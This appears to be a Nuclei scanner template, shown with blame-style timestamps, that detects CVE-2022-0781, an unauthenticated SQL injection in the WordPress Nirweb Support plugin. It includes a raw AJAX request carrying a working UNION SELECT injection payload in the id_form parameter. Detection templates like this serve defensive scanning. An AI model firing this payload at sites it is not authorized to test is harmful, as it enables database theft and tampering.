2022-10-06 15:23:01 +00:00
id : CVE-2022-0781
info :
2022-10-19 21:11:27 +00:00
name : WordPress Nirweb Support <2.8.2 - SQL Injection
2022-10-06 15:23:01 +00:00
author : theamanrawat
severity : critical
description : |
2022-10-19 21:11:27 +00:00
WordPress Nirweb support plugin before 2.8.2 contains a SQL injection vulnerability. The plugin does not sanitize and escape a parameter before using it in a SQL statement via an AJAX action. An attacker can possibly obtain sensitive information from a database, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
2023-09-06 11:59:08 +00:00
remediation : |
Update to the latest version of the WordPress Nirweb Support plugin (2.8.2 or higher) to mitigate the SQL Injection vulnerability.
2022-10-06 15:23:01 +00:00
reference :
- https://wpscan.com/vulnerability/1a8f9c7b-a422-4f45-a516-c3c14eb05161
- https://wordpress.org/plugins/nirweb-support/
2022-10-06 19:27:00 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2022-0781
2022-10-06 15:23:01 +00:00
classification :
2022-10-07 11:34:03 +00:00
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
2022-10-06 15:23:01 +00:00
cve-id : CVE-2022-0781
2022-10-07 11:34:03 +00:00
cwe-id : CWE-89
2023-11-03 15:51:18 +00:00
epss-score : 0.00937
2023-11-20 10:15:32 +00:00
epss-percentile : 0.81278
2023-09-06 11:59:08 +00:00
cpe : cpe:2.3:a:nirweb:nirweb_support:*:*:*:*:*:wordpress:*:*
2022-10-06 15:23:01 +00:00
metadata :
2023-06-04 08:13:42 +00:00
verified : true
2023-09-06 11:59:08 +00:00
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : nirweb
product : nirweb_support
2023-09-06 11:59:08 +00:00
framework : wordpress
2022-10-06 19:34:44 +00:00
tags : cve,cve2022,wordpress,wp-plugin,wp,sqli,wpscan,nirweb-support,unauth
2022-10-06 19:27:00 +00:00
variables :
num : "999999999"
2022-10-06 15:23:01 +00:00
2023-04-27 04:28:59 +00:00
http :
2022-10-06 15:23:01 +00:00
- raw :
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
2022-10-06 19:27:00 +00:00
Host : {{Hostname}}
2022-10-06 15:23:01 +00:00
Content-Type : application/x-www-form-urlencoded
2022-10-06 19:27:00 +00:00
action=answerd_ticket&id_form=1 UNION ALL SELECT NULL,NULL,md5({{num}}),NULL,NULL,NULL,NULL,NULL-- -
2022-10-06 15:23:01 +00:00
matchers-condition : and
matchers :
- type : word
part : body
words :
2022-10-06 19:27:00 +00:00
- '{{md5(num)}}'
2022-10-06 15:23:01 +00:00
- type : status
status :
2022-10-06 19:27:00 +00:00
- 200
2023-11-21 07:14:20 +00:00
# digest: 4a0a00473045022100b767a35d686508cdaed73b2d79c9013e2486bb1d314a45b140f7b0930e81bb2502206e7a02eca4a19126c9b54397565f9a27835db5d501c5a06e674be00003597bcf:922c64590222798bb761d5b6d8e72950